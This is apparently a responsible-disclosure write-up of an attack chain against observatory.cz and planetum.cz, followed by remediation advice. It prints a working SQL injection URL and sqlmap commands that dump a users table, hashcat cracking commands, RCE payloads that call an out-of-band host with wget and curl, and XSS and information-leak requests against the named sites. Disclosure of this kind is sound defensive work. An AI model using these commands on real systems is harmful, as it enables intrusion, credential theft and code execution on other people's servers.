14. December 2025 - reported
14. December 2025 - responsible worker responded
(communication in progress - explanation, recommendations)
20. January 2026 - publishedWrite-up
A security assessment identified an externally reachable attack path that allowed an unauthenticated attacker to progressively gain and escalate access, ultimately resulting in administrative control planetum.cz đŞ and remote code execution.
SQL injection on related domain
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Credential exposure (weak password hashing)
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Lateral movement (credential reuse across domains)
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Unauthorized administrative access
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Remote Code Execution â ď¸SQL Injection
The domain observatory.cz was found to be vulnerable to SQL injection, indicating insufficient server-side input validation.
For example lets observe this URL:
https://www.observatory.cz/porady.php?abbr=CHMresults into
By adding a termination character causes original SELECT to the database invalid and results into syntax error, which sometimes is returned in the browser, then it is called Error Based (In Band).
In this case database error is not returned, hovewer Union Based (In Band) technique works.
UNION command effectively concatenate results from original SELECT hardcoded in web application with new, injected one.
https://www.observatory.cz/porady.php?abbr=' UNION ALL SELECT NULL,concat(user(),'<br>',database(),'<br>',version()),NULL,NULL,'5','6','7','8','9',NULL,NULL-- -results into
MySQL 4.1.22-log
The backend runs on MySQL 4.1.22-log (released 2006), which does not include information_schema. Table and column enumeration is still possible through alternative techniques.
proxychains4 sqlmap -p abbr --batch -u https://www.observatory.cz/porady.php?abbr=CHM --dbms=mysql --technique=B -D vela --common-tables
Database: vela
[5 tables]
+----------+
| events |
| log |
| program |
| services |
| users |
+----------+Once the database, tables, and columns are identified, targeted data extraction becomes possible.
proxychains4 sqlmap -p abbr --batch -u https://www.observatory.cz/porady.php?abbr=CHM --dbms=mysql -D vela -T users --dump --sql-query='SELECT name,login,password FROM vela.users;'Credential exposure (weak password hashing)
The detected password hashes are using non-salted MD5, which is no longer considered secure for password hashing. Modern devices can compute hundreds of billions iterations per second, making MD5 vulnerable to fast brute-force and dictionary attacks.
hashcat -w 3 -O -m 0 -a 3 --username hash.md5 -i --increment-min=1 --increment-max=8 "?a?a?a?a?a?a?a?a"
hashcat -w 3 -O -m 0 -a 0 --username hash.md5 --wordlist passwords.dicWhile MD5 may still be suitable for use in fingerprinting or checksums, it is not recommended for protecting passwords due to its weakness against current attack methods.
Lateral movement (credential reuse across domains)
Credentials obtained from the related domain were successfully used to authenticate to the administrative interface on carina.planetum.cz
observatory.cz -> carina.planetum.czUnauthorized administrative access
Successful authentication to the administrative interface resulted in access to highly sensitive operational and business functionality, including system configuration, user management, transactional workflows and client’s personal informations.
In Admin Area it is possible to view / manage:
- payments, invoices, prices, orders, vouchers, ..
- halls / objects, events, seats, reservations, ..
- cash registers, printers, other technical equipments, ..
- accounts / roles of employees, shifts, ..
- visitors info such an email, phone number, shopping cart, ..
- sales reports, email communication, database, tickets, ..
- and more
Remote Code Execution
With administrative access obtained in the previous stage, functionality related to printer configuration was identified as a high-risk area. By modifying an existing command definition as shown below, Remote Code Execution was effectively confirmed
(wget -qO /dev/null http://0ghqze8qso7zfphoiypkk4itekkb83ws.oastify.com/wget 2>/dev/null || true); lp -d Epson {{file}}
# or
(curl --silent http://0ghqze8qso7zfphoiypkk4itekkb83ws.oastify.com/curl > /dev/null 2>&1 || true); lp -d Epson {{file}}Results in DNS lookup request
and HTTP request
â ď¸ Remote code execution has been confirmed.
Other minor vulnerablities
Activation Code Disclosure via Improper Validation Handling
During the account registration and activation process, an activation code is sent to the user via email.
When an invalid activation code is submitted, the application responds by disclosing the correct activation code in the server response. This behavior allows an attacker who knows a userâs email address to:
- Obtain valid activation codes
- Bypass the intended activation workflow
- Iterate activation codes for other users, including already activated accounts
The issue was confirmed using the following request:
GET /?action=approve&mail=rozehnal%40planetum.cz&code=invalid-code HTTP/1.1
Host: rocenka.observatory.czresults in
Unauthenticated Email Enumeration via ID Parameter
An unauthenticated endpoint was identified that allows enumeration of email addresses associated with incomplete user registrations.
By supplying a numeric identifier via the id parameter, the application discloses the corresponding email address in the server response.
The issue was confirmed using the following request:
GET /?action=remail&id=77 HTTP/1.1
Host: rocenka.observatory.czresults in
XSS on rocenka.observatory.cz
A reflected Cross-Site Scripting (XSS) vulnerability was identified on rocenka.observatory.cz.
User-controlled input is reflected into the HTTP response without proper output encoding, allowing execution of arbitrary JavaScript in the context of the affected domain.
The issue was confirmed on the following URLs:
https://rocenka.observatory.cz/index.php?issue=2025&action=%3Cscript%3Ealert(1)%3C/script%3E&getback=1
https://rocenka.observatory.cz/?action=%3Cscript%3Ealert(1)%3C/script%3E
https://rocenka.observatory.cz/?action=approve&mail=yfomnvoboeflvylgph%40nespj.com&code=93d082fcdf3fc435c641485693e8db6c<script>alert(1)</script>An attacker could leverage this vulnerability to execute malicious scripts in a victimâs browser, potentially leading to session hijacking, unauthorized actions, or data exposure.
Conclusion / Fixation
Remote Code Execution (RCE) is a serious security vulnerability that allows an attacker to run arbitrary code on a remote system without authorization. This can result in full system compromise, data theft, or installation of malware, making it a critical issue with significant security impact.
Considerations
SQL Injection
- Implementation proper server-side input validation.
- Usage of parameterized queries (prepared statements) for all database interactions.
Credential Exposure
- Treat all affected credentials as compromised and require a password reset.
- Use modern, adaptive password hashing algorithms with proper salting (e.g., bcrypt, Argon2).
- Avoid fast, general-purpose hash functions (such as MD5) for password storage.
Lateral movement
- Review whether internal or administrative systems (e.g., carina.planetum.cz) need to be publicly accessible.
- Implement protection mechanisms against automated authentication attempts (e.g., rate limiting or brute-force protection).
- Enforce multi-factor authentication, at minimum for privileged or administrative accounts.
- Strengthen password policy to reduce the risk of credential reuse and guessing.
Unauthorized administrative access
- Enforce multi-factor authentication for all administrative and privileged accounts.
- Apply additional access controls to administrative interfaces (e.g., network restrictions or IP allowlisting).
- Strengthen password policy requirements for administrative accounts.
- Ensure sufficient logging and monitoring of administrative authentication and actions.
Remote Code Execution
- Avoid execution of direct operating system commands from application-level configuration.
- Isolate printing and similar system-level functionality from the main application context.
- Apply strict allowlisting for any required system commands and parameters.
- Run services executing OS-level commands with minimal privileges.
- Implement additional monitoring and alerting for execution of system-level operations.
security.txt
A good practice is to publish a security.txt document in accordance with RFC 9116. Itâs a simple, small text file that tells ethical hackers how securely report any findings, if youâre interested. Inspiration you can find here:
